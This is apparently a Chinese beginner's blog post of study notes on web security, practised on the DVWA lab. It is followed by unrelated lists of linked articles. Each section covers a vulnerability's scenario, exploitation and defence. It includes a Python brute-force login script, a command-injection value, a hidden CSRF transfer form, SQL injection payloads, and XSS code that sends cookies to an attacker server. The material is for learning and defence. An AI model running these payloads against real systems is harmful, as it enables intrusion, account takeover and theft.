前言

    最近在公司做Linux下的PHP开发,所以乘此机会学习了下Web安全,了解了常见的Web安全漏洞,以及对应的防御方法(使用DVWA进行学习)。

暴力破解

场景

    在类似用户登陆界面,如果系统没有限制用户的尝试次数,且没有验证码的情况下,就存在该漏洞

利用方法
import requests

URL = r'http://192.168.56.101/DVWA/vulnerabilities/brute/';#破解地址
cookies = dict(security='medium', PHPSESSID='4sijad6qd225aai8ha02tr82e3')#cookie设置

users = ("root","system","admin");#用户库
pwds = ("123123","123456","password","root");#密码库

arguments = {"username":"","password":"","Login":"Login"};#构造请求参数

for user in users:
    for pwd in pwds:
        arguments['username'] = user;
        arguments['password'] = pwd;

        r = requests.get(URL,arguments,cookies=cookies);

        if r.text.find("Username and/or password incorrect.") == -1:#判断是否成功破解
            print(user,pwd);
            exit(0);

print("defeat");
防御方法

    添加验证码,限制尝试次数。

命令注入

场景

    web服务器接受用户提交的数据,作为系统命令或程序的参数,这种情况下就会容易造成命令注入。

利用方法

    传入参数,构造另一个命令,比如web程序接受一个ip地址作为ping命令的参数,则我们可以传入'127.0.0.1 | dir',则dir会执行。

防御方法

    使用白名单。严格限制用户的输入,比如你想要一个ip地址,则必须在服务端验证用户输入的是否是一个ip地址, 永远不要相信用户提交的数据

CSRF

场景

    在一个转账网站下,存在两个用户,用户A构造一个恶意网站给用户B,用户B单击后,自己账号中的钱全部转给了用户A。

利用方法
<form action="转账的URL" method='XX'>
    <input type='hidden' name='username' value='hacker'>
    <input type='hidden' name='money' value='10000'>
    <input type="submie">
</form>
防御方法

    添加csrf_token、加用户表示确认的信息(验证码、密码)

文件包含

场景

    程序员在编写PHP服务端代码时,为了代码复用,将公用代码写成另一个文件,然后include进需要使用的代码。如果用户能控制include 的参数,则会产生文件包含漏洞

利用方法

    include 的参数可控,且PHP开启allow_url_include,则我们可以让被攻击的Web服务器执行webshell(注意:文件名以txt结尾,如果是服务端脚本文件的话,则脚本会在我们的服务器上执行,否则在被攻击服务器上执行),如果不能进行url包含,则我们可以结合文件上传漏洞执行webshell。

防御方法

    关闭远程url包含,且include的参数设置用白名单。

文件上传

场景

    网站有上传文件的功能,如果没做好相应的防范措施,则我们可以上传webshell

利用方法

    如果没有限制上传文件的格式,则我们直接上传webshell。如果服务器检查了文件的格式,则我们可以抓包,然后修改数据包中,文件格式为合法格式。如果服务器对上传的文件进行了内容检查,则我们可以 copy test.img/b + test.txt/a test1.img 生成一个包含代码的图片上传,然后利用文件包含漏洞执行webshell

防御方法

    对上传的文件进行相应的编码,不给与执行权限

SQL回显注入

场景

    Web服务器将sql执行的结果返回给用户(包括sql执行的错误信息)。且没有对用户输入的数据进行相应的处理,直接构造动态sql。则多半会存在SQL回显注入。则用户可以构造恶意数据,获得数据库中的信息。

利用方法

    由于服务器会显示SQL执行的结果(包括sql执行的错误信息),则我们可以利用order by 与 union select 猜解字段数,利用 select user(),database() 获得当先用户名与数据库名, 然后通过

select table_name from information_schema.tables where table_schema='database name'

获得表名

通过

select column_name from information_schema.columns where table_name='table name'

获得字段名
得到表名与字段名之后,我们就可以查询数据库中的信息了。

防御方法

    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。

SQL盲注

场景

    用户向Web服务器提交查询,服务器只会返回‘真’或‘假’,且web服务器为对用户输入的数据没有进行检查,动态构造sql语句,则多半会存在SQL盲注。则用户可以构造恶意数据,获得数据库中的信息。

利用方法

    由于服务器只会返回真或假,则我们可以利用 length,substr,ascii,sleep 函数获得用户名,数据库名,表名,字段名,表中对应的数据。
如服务器如下代码构造sql语句

$id = $_GET('id');
$sql = 'select * from test where id = '$id'';

则我们可以这样提交id: 1' and 这里为你想执行的sql -- '
获得数据库名字的方法输入
1' and ascii(substr(database(),1,1)) = 65 -- '
这里我们猜数据库名的第一个字符为65.如果服务器中确实存在id为1的数据,则如果我们猜测数据库的第一个字符为65则返回真,否则返回假。一直猜下去就会得到数据库名。

防御方法

    严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。

XSS

分类

    XSS分存储型XSS,反射型XSS,DOM型XSS。存储型XSS,反射型XSS的区别是前一个恶意代码在数据库中,后一个在url中,相同点是输出都在HTTP响应中。反射型XSS,DOM型XSS的区别是一个输出在HTTP响应中,一个在DOM结点中, 相同点是:恶意代码都在URL中。

场景

    一个网站中,存在用户A与用户B,用户B构造XSS攻击,发送网址给用户A,用户A单击后,用户B就能以用户A的身份登陆网站。

利用方法

<script>恶意代码</script>,或<img src=x onerror="恶意代码">

获取cookie的方法为,黑客架设一个web服务器接受cookie,恶意代码为:

window.open('黑客服务器?cookie='+document.cookie);
//或
document.location='黑客服务器?cookie='+document.cookie;
防御方法

    对特殊字符进行编码(htmlspecialchars函数)

总结

    永远不要相信用户的输入,一定要进行合法性验证。且使用白名单而不是黑名单。

Web安全入门学习的更多相关文章

  1. Web开发入门学习笔记

    公司web项目终于要启动了,本以为django学习可以在实战中进行,结果最终使用了Drupal框架,好吧,那我们就PHP走起,买了本<细说PHP>,先跟着过一遍Web开发入门. HTTP协 ...

  2. web前端零基础入门学习!前端真不难!

    现在互联网发展迅速,前端也成了很重要的岗位之一,许多人都往前端靠拢,可又无能为力,不知所措,首先我们说为什么在编程里,大家都倾向于往前端靠呢?原因很简单,那就是,在程序员的世界里,前端开发是最最简单的 ...

  3. abp学习(四)——根据入门教程(aspnetMVC Web API进一步学习)

    Introduction With AspNet MVC Web API EntityFramework and AngularJS 地址:https://aspnetboilerplate.com/ ...

  4. PyQt4入门学习笔记(一)

    PyQt4入门学习笔记(一) 一直没有找到什么好的pyqt4的教程,偶然在google上搜到一篇不错的入门文档,翻译过来,留以后再复习. 原始链接如下: http://zetcode.com/gui/ ...

  5. Aho-Corasick算法、多模正则匹配、Snort入门学习

    希望解决的问题 . 在一些高流量.高IO的WAF中,是如何对规则库(POST.GET)中的字符串进行多正则匹配的,是单条轮询执行,还是多模式并发执行 . Snort是怎么组织.匹配高达上千条的正则规则 ...

  6. ReactJS入门学习二

    ReactJS入门学习二 阅读目录 React的背景和基本原理 理解React.render() 什么是JSX? 为什么要使用JSX? JSX的语法 如何在JSX中如何使用事件 如何在JSX中如何使用 ...

  7. 【python】 web开发入门

    进入Web开发 现在你完成了Python忍者训练,准备深入Ptyhon的Web开发,但现在的问题是有很多的框架,从中选择最好的框架非常困难,但从初学者的角度出发,Flask基本Web框架将非常适合We ...

  8. 《Web编程入门经典》

    在我还不知道网页的基础结构的时候,我找过很多本介绍Web基础的书籍,其中这本<Web编程入门经典>,我认为是最好的. 这本书内容很全面.逻辑很严谨.结构很清晰.语言文字浅显易懂. 看这本书 ...

  9. web前端的学习误区

    web前端的学习误区  网页制作是计算机专业同学在大学期间都会接触到的一门课程,而学习网页制作所用的第一个集成开发环境(IDE)想必大多是Dreamweaver,这种所见即所得的“吊炸天”IDE为我们 ...

随机推荐

  1. 【Java】模拟Sping,实现其IOC和AOP核心(一)

    在这里我要实现的是Spring的IOC和AOP的核心,而且有关IOC的实现,注解+XML能混合使用! 参考资料: IOC:控制反转(Inversion of Control,缩写为IoC),是面向对象 ...

  2. 转载 基于JAVA每月运势api调用代码实例

    代码描述:基于JAVA每月运势api调用代码实例 接口地址:http://www.juhe.cn/docs/api/id/58 原文链接:http://outofmemory.cn/code-snip ...

  3. 【Spring】26、利用Spring的AbstractRoutingDataSource解决多数据源,读写分离问题

    多数据源问题很常见,例如读写分离数据库配置. 1.首先配置多个datasource <bean id="dataSource" class="org.apache. ...

  4. 【Java基础】2、Java中普通代码块,构造代码块,静态代码块区别及代码示例

    Java中普通代码块,构造代码块,静态代码块区别及代码示例.Java中普通代码块,构造代码块,静态代码块区别及代码示例 执行顺序:静态代码块>静态方法(main方法)>构造代码块>构 ...

  5. 站在DevOps肩膀上的TestOps(一)

    一十一 发表于 2018-03-14 15:50:03 TestOps   摘要: DevOps团队的职责是“无摩擦发展”. 这是对“速度需求”驱动的发展理念的一种渴望,以及有意识地去除从概念到客户的 ...

  6. Nginx负载均衡配置调优

    worker_processes ; error_log logs/error.log crit; #日志位置和日志级别 pid logs/nginx.pid; worker_rlimit_nofil ...

  7. linux学习笔记-安装配置使用clamav杀毒软件

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 1.安装clamav 2.更新病毒库 # freshclam 如果更新不了,或者更新特别慢,可以手动下载病毒库文件,放到/var ...

  8. switch和if语句

    if :基本语法: 1.单分支语句 : if(条件){代码块}else{代码块} 2.多分支语句 :if(条件){代码块} else if(条件){代码块}else{代码块} * 不要忘记添加else ...

  9. drupal7常用函数

    1.获取当前启用的管理员主题名称: $admin_theme = variable_get('admin_theme');

  10. plsql调试存储过程卡住的原因以及处理

    用PLSQL调试存储过程的时候,经常会遇到这个的情况,点调试后,继续点单步都是灰色,想停下来,但是取消也要点很多次才能取消掉. 就像下面的情况: 一直以为是个BUG,直到最近有人告诉我了真相. 出现这 ...